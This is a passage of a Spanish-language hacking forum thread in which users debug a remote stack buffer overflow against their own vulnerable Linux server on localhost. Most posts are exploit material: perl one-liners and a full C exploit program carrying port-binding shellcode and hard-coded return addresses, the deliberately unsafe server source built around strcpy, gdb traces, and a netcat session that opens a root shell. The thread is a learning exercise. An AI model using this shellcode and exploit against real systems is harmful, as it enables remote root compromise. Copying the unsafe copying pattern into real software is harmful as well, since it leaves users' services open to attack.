elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  ¿ Fallo BoF Remoto Linux ?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: ¿ Fallo BoF Remoto Linux ?  (Leído 9,126 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #10 en: 21 Febrero 2011, 23:21 pm »

Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado ;)
Te explico...

Servidor
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53
21/02/2011 23:16:53   Starting up...

21/02/2011 23:17:00   Got connection from 127.0.0.1:43225
21/02/2011 23:17:00   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���                                              

Exploit line
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330
hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00
21/02/2011 23:17:00   Got connection with 127.0.0.1:31330
juanra@Juanra:~$

Bind Shell 5074
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
whoami
root
groups
root
exit
 sent 19, rcvd 10
juanra@Juanra:~$

12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA
Código
  1. buffer [cont-1]='\0';

Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré  ::)
Un saludo!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #11 en: 22 Febrero 2011, 00:21 am »

Hola!!

El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS.
La función que yo uso es esta:

Código:
unsigned  get_esp(void)
{
  __asm__("movl %esp, %eax");

}

Con respecto al BOF remoto, mañana volvere a intentar otra cosa.

Salu2!!
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #12 en: 22 Febrero 2011, 00:37 am »

Mmm, yo sencillamente modifico el código con un printf y listo xD  :silbar:
La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD

Seguiré mirando...
_________________________________________________________

Modf: Vaya con la shellcode...
Añado al code
Código
  1. int vuln (char *trampa)
  2. {
  3. char buffer [100];
  4. strcpy (buffer, trampa);
  5. printf ("Buffer [0x%08x] contains %s...\n", &buffer, buffer);
  6. }
  7.  
NC
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
 sent 0, rcvd 0
juanra@Juanra:~$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25
22/02/2011 01:04:25   Got connection with 127.0.0.1:31337
juanra@Juanra:~$
Ejecuto...
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19
22/02/2011 01:04:19   Starting up...

22/02/2011 01:04:25   Got connection from 127.0.0.1:58332
22/02/2011 01:04:25   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Fallo de segmentación

1. Ejecuto el servidor (port 31337).
2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.
3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".

¿?¿?¿?
_________________________________________________________

Aparte, de pruebas...

Server
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49
22/02/2011 01:13:49   Starting up...

22/02/2011 01:13:51   Got connection from 127.0.0.1:50840
22/02/2011 01:13:51   RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���
Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���...
Bjuanra@Juanra:~/Escritorio/Serv$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51
22/02/2011 01:13:51   Got connection with 127.0.0.1:31337
juanra@Juanra:~$

La shellcode sólo escribía una B y salía. Funciona a la perfección :P
« Última modificación: 22 Febrero 2011, 01:14 am por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #13 en: 2 Marzo 2011, 19:54 pm »

Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit...
El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...)
¿Qué le pasa?

Serv
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. int sockfd, newsock;
  10.  
  11. void shutup (int signal)
  12. {
  13. times ();
  14. printf ("Shutting down...\n\n");
  15. close (newsock);
  16. close (sockfd);
  17. exit (0);
  18. }
  19.  
  20. int times ()
  21. {
  22. time_t now=time (0);
  23. struct tm *ahora;
  24. char buffer [40];
  25. ahora=localtime ((const time_t*)&now);
  26. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  27. printf ("%s   ", buffer);
  28. return 0;
  29. }
  30.  
  31. int handle_conection (char *buffer)
  32. {
  33. char buff [256];
  34. strcpy (buff, buffer);
  35.  
  36. times ();
  37. buff [strlen (buff)-1]='\0';
  38. printf ("[0x%08x]: %s\n", &buff, buff);
  39.  
  40. return 0;
  41. }
  42.  
  43. int main (int argc, char *argv [])
  44. {
  45. time_t now=time (0);
  46. struct tm *ahora;
  47. char hora [40];
  48. ahora=localtime ((const time_t*)&now);
  49. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  50. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  51.  
  52. if (getuid()!=0)
  53. {
  54. printf ("This proccess must be run by root.\n\n");
  55. return 1;
  56. }
  57. if (argc<2)
  58. {
  59. printf ("Use: %s <PORT>\n\n", argv [0]);
  60. return 1;
  61. }
  62. int cont;
  63. struct sockaddr_in client, host;
  64. char buffer [1024];
  65. int size=sizeof (client);
  66.  
  67. sockfd=socket (2, 1 ,  0);
  68. host.sin_family=AF_INET;
  69. host.sin_port=htons (atoi (argv [1]));
  70. host.sin_addr.s_addr=0;
  71. bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  72.  
  73. listen (sockfd, 3);
  74.  
  75. times ();
  76. printf ("Starting up...\n\n");
  77.  
  78. signal (SIGTERM, shutup);
  79. signal (SIGINT, shutup);
  80.  
  81. while (1)
  82. {
  83. newsock=accept (sockfd, (struct sockaddr*)&client, &size);
  84.  
  85. times ();
  86. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  87.  
  88. cont=recv (newsock, &buffer, 1024, 0);
  89. while (cont > 1)
  90. {
  91. handle_conection (buffer);
  92. cont=recv (newsock, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsock);
  97. }
  98. close (sockfd);
  99. return 0;
  100. }
  101.  
Exploit
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [168];
  39. memset (nops, '\x90', 168);
  40. char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58"
  41. "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66"
  42. "\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
  43. "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  44. "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
  45. char ret [6] = "\x30\xf8\xff\xbf\x90";
  46. char command [265];
  47. strcpy (command, nops);
  48. strcat (command, shellcode);
  49. strcat (command, ret);
  50. printf ("[OK]\n");
  51.  
  52. printf ("Sending buffer...\t");
  53. if (send (sockfd, &command, strlen (command), 0)==-1)
  54. {
  55. printf ("[FAIL]\n\n");
  56. return 1;
  57. }
  58. else printf ("[OK]\n\n");
  59.  
  60. FILE *fp = fopen ("a.txt", "w+");
  61. fprintf (fp, "%s", command);
  62. fclose (fp);
  63.  
  64. printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
  65. return 0;
  66. }
  67.  

Root Shell1 GDB serv
Código:
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08
02/03/2011 19:50:08   Starting up...

02/03/2011 19:50:11   Got connection from 127.0.0.1:41991
02/03/2011 19:50:11   [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                        Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                       Rh//shh/bin��R��S��̀0����n����������
                                                          �����(跢%���y���y��(���1���1����y���y��(���1����������

Program received signal SIGSEGV, Segmentation fault.
0x9958666a in ?? ()
(gdb)
User Shell2 Exploit
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$


Gracias y un saludo!
Sagrini
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
not-all0w3d

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #14 en: 21 Marzo 2011, 15:54 pm »

Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..

No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode?
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #15 en: 21 Marzo 2011, 20:35 pm »

Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
not-all0w3d

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #16 en: 21 Marzo 2011, 21:52 pm »

Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...

¡Qué mal!, te recomiendo que hagas tus propias shellcodes, yo sigo aprendiendo y me gusta esto de los overflows, y créeme es una batalla contra el Ollydbg (En mi caso).. Bueno espero que te funcione y ya ahí me pasas la shellcode para chequearla  :)
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #17 en: 22 Marzo 2011, 18:07 pm »

Sí, sólo que el nivel de complejidad de este tipo de shellcodes es algo más alto... Hago las mías propias para cosas pequeñas, pero una portbinding shell ya es otra cosa ;) Aún no me he animado a hacerla  :-\ Aunque comparto tu opinión, esta shellcode era menos importante a que funcionase correctamente.

Un detalle, para el que quiera que funcione cuando lo corras fuera del debugger, tienes que juntarse a su proceso. Os pongo el ejemplo:
Citar
sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo ./serv 80 &
[1] 5166
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/03/2011 18:09:26
sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo gdb -q -pid=5166 --symbols=./serv
Attaching to process 5166
Load new symbol table from "/home/sagrini/Escritorio/OverFlow/Cap2/serv"? (y or n) y
0xb783d430 in __kernel_vsyscall ()
(gdb) c
Continuing.
22/03/2011 18:10:08   Got connection from 127.0.0.1:49484
Program received signal SIGSEGV, Segmentation fault.
0xb76f83c1 in getenv () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/5000b $esp
[...]
0xbfe1a0b0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0b8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0c0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0c8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0d0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0d8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0e0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0e8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0f0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0f8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a100:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a108:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a110:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
[...]
(gdb)
---------------------------------------------------------
sagrini@sagrini:~$ perl -e 'print "A"x1040' | hK vc 127.0.0.1 80
hK 2.0 - By Sagrini (2010) - 22/03/2011 18:12:23
22/03/2011 18:12:23   Got connection with 127.0.0.1:80

Un saludo
Sagrini
« Última modificación: 22 Marzo 2011, 18:13 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Importante fallo en el kernel posibilita la escalada local en sistemas Linux
Noticias
DarkDelphi 4 2,435 Último mensaje 21 Septiembre 2010, 23:45 pm
por Foxy Rider
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines